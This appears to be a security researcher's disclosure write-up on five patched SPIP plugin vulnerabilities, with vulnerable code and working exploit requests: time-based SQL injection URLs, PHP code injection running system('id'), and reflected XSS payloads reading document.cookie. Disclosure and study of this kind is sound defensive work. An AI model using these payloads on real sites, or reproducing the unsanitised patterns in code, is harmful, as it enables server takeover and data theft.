CVE-2026-27743 through CVE-2026-27747: Five Vulnerabilities in SPIP Plugins
Table of Contents
TL;DR
Five vulnerabilities in SPIP plugins, all following predictable patterns: unsanitized user input reaching dangerous sinks. Two exploit SPIP’s template engine for RCE (the same interdire_scripts=false pattern from CVE-2025-71243), two are SQL injection, and one is reflected XSS.
| CVE | Plugin | Type | Auth | CVSS |
|---|---|---|---|---|
| CVE-2026-27743 | referer_spam <= 1.2.1 | Blind SQL Injection | None | 9.8 Critical |
| CVE-2026-27744 | tickets <= 4.3.2 | RCE (PHP Code Injection) | None | 9.8 Critical |
| CVE-2026-27745 | interface_traduction_objets <= 2.2.1 | RCE (PHP Code Injection) | Editor | 8.8 High |
| CVE-2026-27746 | jeux <= 4.1.0 | Reflected XSS | None | 6.1 Medium |
| CVE-2026-27747 | interface_traduction_objets <= 2.2.1 | Blind SQL Injection | Editor | 6.5 Medium |
These are niche plugins with low adoption (36-100 active installs each). Real-world impact is limited, but the patterns are instructive.
Introduction
After reversing CVE-2025-71243 in SPIP’s Saisies plugin, I spent some time auditing other SPIP plugins for similar patterns. SPIP’s plugin ecosystem has a recurring problem: the template engine’s interdire_scripts=false code paths trust certain form fields (anything prefixed with _) to be server-generated, and plugins routinely pipe unsanitized user input into those fields.
This post covers five vulnerabilities found across four different plugins. Two of them are template injection leading to RCE (the exact same exploitation chain as CVE-2025-71243), two are SQL injection, and one is reflected XSS through an HTML attribute breakout.
SPIP’s Template Injection Pattern (Quick Recap)
If you’ve read the CVE-2025-71243 write-up, you know the pattern. For those who haven’t, here’s the short version:
- SPIP form fields prefixed with
_(like_hidden) skipprotege_champ()- no HTML escaping #ACTION_FORMULAIRErenders_hiddenwithinterdire_scripts=false- no PHP tag stripping- SPIP compiles templates into PHP and runs them through
eval() - Result: any user input that reaches
_hiddenunescaped becomes RCE via<?php ?>
Two of the five CVEs below exploit this exact chain. A third uses a variant where #ENV** (double-star) achieves the same interdire_scripts bypass. Same outcome, different entry point.
CVE-2026-27743: Unauthenticated SQL Injection in referer_spam
| Field | Value |
|---|---|
| CVE | CVE-2026-27743 |
| Severity | Critical (CVSS 9.8) |
| CWE | CWE-89 - SQL Injection |
| Affected | referer_spam <= 1.2.1 |
| Auth | None |
| Active installs | ~56 |
The Bug
The referer_spam plugin manages a blocklist of spam referrers. Two action handlers take $_GET['url'] and drop it raw into SQL LIKE clauses:
// action/referer_spam_ajouter.php, lines 10 + 18
$url = $_GET['url'];
if (!sql_countsel("spip_referer_spam", "referer LIKE '%$url%'"))
// action/referer_spam_supprimer.php, lines 10-13
$url = $_GET['url'];
if (sql_countsel("spip_referer_spam", "referer LIKE '%$url%'"))
sql_delete("spip_referer_spam", "referer LIKE '%$url%'");
No sql_quote(). No securiser_action() (CSRF). No autoriser() (auth check). Just raw $_GET into SQL.
Exploitation
Time-based blind injection with SLEEP():
GET /spip.php?action=referer_spam_ajouter&url=x' OR IF(1=1,SLEEP(2)+1,1) -- -
From there, binary search on character ordinals extracts anything in the database - admin credentials, session tokens, site configuration. The PoC implements parallel extraction with ThreadPoolExecutor and dumps admin login + password hash in seconds.
Why It’s Interesting
This one isn’t a SPIP-specific pattern - it’s textbook SQL injection. What makes it notable is the complete absence of security controls. SPIP’s action dispatcher (spip.php?action=X) invokes plugin-registered action functions without any framework-level auth enforcement. Plugins are expected to call securiser_action() themselves. If they don’t, the action is publicly accessible. The referer_spam plugin forgot both auth and CSRF on both of its handlers.
CVE-2026-27744: Unauthenticated RCE in tickets
| Field | Value |
|---|---|
| CVE | CVE-2026-27744 |
| Severity | Critical (CVSS 9.8) |
| CWE | CWE-94 - Code Injection |
| Affected | tickets <= 4.3.2 |
| Auth | None |
| Active installs | ~36 |
The Bug
The tickets plugin adds a ticketing/issue-tracking system to SPIP. When forums are enabled on tickets (SPIP’s default behavior when the forum plugin is active), visitors can preview comments. During the preview, the plugin persists ticket metadata by appending raw _request() values into the previsu error key:
// tickets_pipelines.php, line 178
$flux['data']['previsu'] .= '<input type="hidden" name="ticket_statut" value="'
. _request('ticket_statut') . '" />';
Lines 179-182 do the same for other champs_editables fields - all concatenated raw.
Why This Becomes RCE
The previsu content is rendered in the forum template through (#ENV**{erreurs/previsu}). The double-star ** operator is SPIP shorthand for “no output filtering” - it disables interdire_scripts() just like the _hidden path. Since SPIP compiles templates into PHP via eval(), injected <?php ?> tags in the previsu field execute as code.
Exploitation
POST a forum comment preview on any public ticket:
POST /spip.php?page=ticket&id_ticket=1
Content-Type: application/x-www-form-urlencoded
formulaire_action=forum&formulaire_action_args=...&formulaire_action_sign=...
&ticket_statut=x"/><?php system('id'); ?><input value="x
&previsualiser_message=Pr%C3%A9visualiser
&titre=x&texte=x&auteur=x&email_auteur=x@x.com
The PoC automates the full chain: plugin version detection via Composed-By header, form token extraction from the ticket page, and RCE confirmation via MD5 probe injection.
Prerequisites
The target needs:
- The tickets plugin installed and active
- At least one ticket created (public ticket pages)
- Forum comments enabled on tickets (default when forum plugin is present)
CVE-2026-27745: Authenticated RCE in interface_traduction_objets
| Field | Value |
|---|---|
| CVE | CVE-2026-27745 |
| Severity | High (CVSS 8.8) |
| CWE | CWE-94 - Code Injection |
| Affected | interface_traduction_objets <= 2.2.1 |
| Auth | Editor (redacteur) |
| Active installs | ~100 |
The Bug
The interface_traduction_objets plugin provides a translation interface for multilingual SPIP sites. When loading the article editor with a lang_dest parameter, the plugin concatenates the raw value into _hidden:
// interface_traduction_objets_pipelines.php, lines 162-163
if (isset($flux['data']['lang_dest'])) {
$flux['data']['_hidden'] .= '<input type="hidden" name="lang_dest" value="'
. $flux['data']['lang_dest'] . '"/>';
}
This is the exact same pattern as CVE-2025-71243. User input into _hidden, which skips protege_champ() and renders with interdire_scripts=false.
Exploitation
Break out of the value attribute and inject PHP:
GET /ecrire/?exec=article_edit&new=oui&id_rubrique=1&lang_dest=en"/><?php system('id'); ?><input type="hidden" value="x
The injected PHP executes when SPIP renders the article edit form.
CVE-2026-27747: SQL Injection in the Same Plugin
While fixing the RCE, the SPIP maintainer (cerdic) also patched a separate SQL injection in the same file. The vulnerable code is in the formulaire_charger pipeline:
// interface_traduction_objets_pipelines.php, line 227-228
if (!$flux['data']['lang_dest'] = _request('lang_dest') and $id_parent = _request('id_parent')) {
$flux['data']['lang_dest'] = sql_getfetsel('lang', 'spip_rubriques', 'id_rubrique=' . $id_parent);
}
When lang_dest is empty and id_parent is set, $id_parent from _request() is concatenated raw into the SQL WHERE clause. SPIP’s sql_getfetsel passes it straight through to MySQL with zero sanitization.
Time-based blind injection confirms it trivially:
GET /ecrire/?exec=article_edit&new=oui&id_rubrique=1&id_parent=IF(1=1,SLEEP(3),1)
Baseline with id_parent=1 returns in ~23ms. The SLEEP(3) payload returns in exactly 3.026s. Same auth requirement as the RCE (editor account), same endpoint, different vuln class. The fix applies intval() on all SQL parameters in the file - not just id_parent but also $id_trad, $id_objet, and $contexte[$id_table_objet], suggesting multiple injection points existed.
Prerequisites
- Authenticated with at least editor (redacteur) privileges
- Multilingual mode enabled (
langues_multilinguemeta must include multiple languages)
This one is less impactful than the tickets RCE because it requires authentication. But it’s a privilege escalation vector - an editor shouldn’t be able to execute arbitrary PHP on the server. And as CVE-2026-27747 shows, the same code path had even more issues lurking.
CVE-2026-27746: Reflected XSS in jeux
| Field | Value |
|---|---|
| CVE | CVE-2026-27746 |
| Severity | Medium (CVSS 6.1) |
| CWE | CWE-79 - Cross-Site Scripting |
| Affected | jeux <= 4.1.0 |
| Auth | None |
| Active installs | ~42 (ZoomEye fingerprint) |
The Bug
The jeux (games) plugin adds interactive game blocks to SPIP articles. Its pre_propre pipeline processes user input from debut_index_jeux and index_jeux parameters and interpolates them unsanitized into HTML:
// jeux_pipelines.php, line 49
$debut_index_jeux = _request('debut_index_jeux')
? _request('debut_index_jeux')
: rand(10000, 99999);
// jeux_pipelines.php, lines 58-59
$indexJeuxReel = (_request('var_ajax') == 'form'
&& _request('jeu_cvt') == 'oui'
&& _request('index_jeux'))
? _request('index_jeux') : $indexJeux;
// jeux_pipelines.php, line 80
"<div id='JEU$indexJeuxReel' class='jeux_global'>$texte</div>"
The single-quoted id attribute allows breakout.
Exploitation
Two vectors, both requiring the target page to contain a <jeux> block:
GET /article-with-game?debut_index_jeux='><img src=x onerror=alert(document.cookie)>
GET /article-with-game?var_ajax=form&jeu_cvt=oui&index_jeux='><img src=x onerror=alert(document.cookie)>
The PoC detects game content on pages and confirms payload reflection.
The Bigger Picture
Four plugins, five CVEs, three distinct vulnerability classes, one common theme: SPIP’s plugin ecosystem has no enforced security boundaries. The framework provides the tools (sql_quote(), securiser_action(), protege_champ(), spip_htmlspecialchars()), but plugins are free to ignore all of them.
The template injection pattern is particularly dangerous because it’s counterintuitive. A plugin developer concatenating a value into an HTML hidden input doesn’t expect that to become RCE. But SPIP’s template engine turns HTML injection into PHP code execution whenever interdire_scripts=false is in the rendering path - and that’s the case for _hidden, previsu, and any #ENV** output.
I counted 17 code paths with interdire_scripts=false in balises.php alone. Each one is a potential RCE vector if user input reaches it. The Saisies CVE, the tickets CVE, and the interface_traduction CVE all exploit different entry points into the same underlying pattern. There will be more.
Disclosure Timeline
- 2026-02-22 - SQLi, tickets RCE, and interface_traduction RCE reported to VulnCheck
- 2026-02-23 - Jeux XSS reported to VulnCheck
- 2026-02-24 - All four plugins patched by SPIP maintainers (referer_spam, tickets, interface_traduction_objets, jeux)
- 2026-02-24 - interface_traduction SQLi confirmed, reported to VulnCheck
- 2026-02-25 - CVE-2026-27743 through CVE-2026-27747 assigned
- 2026-02-25 - Public disclosure (all fixes released)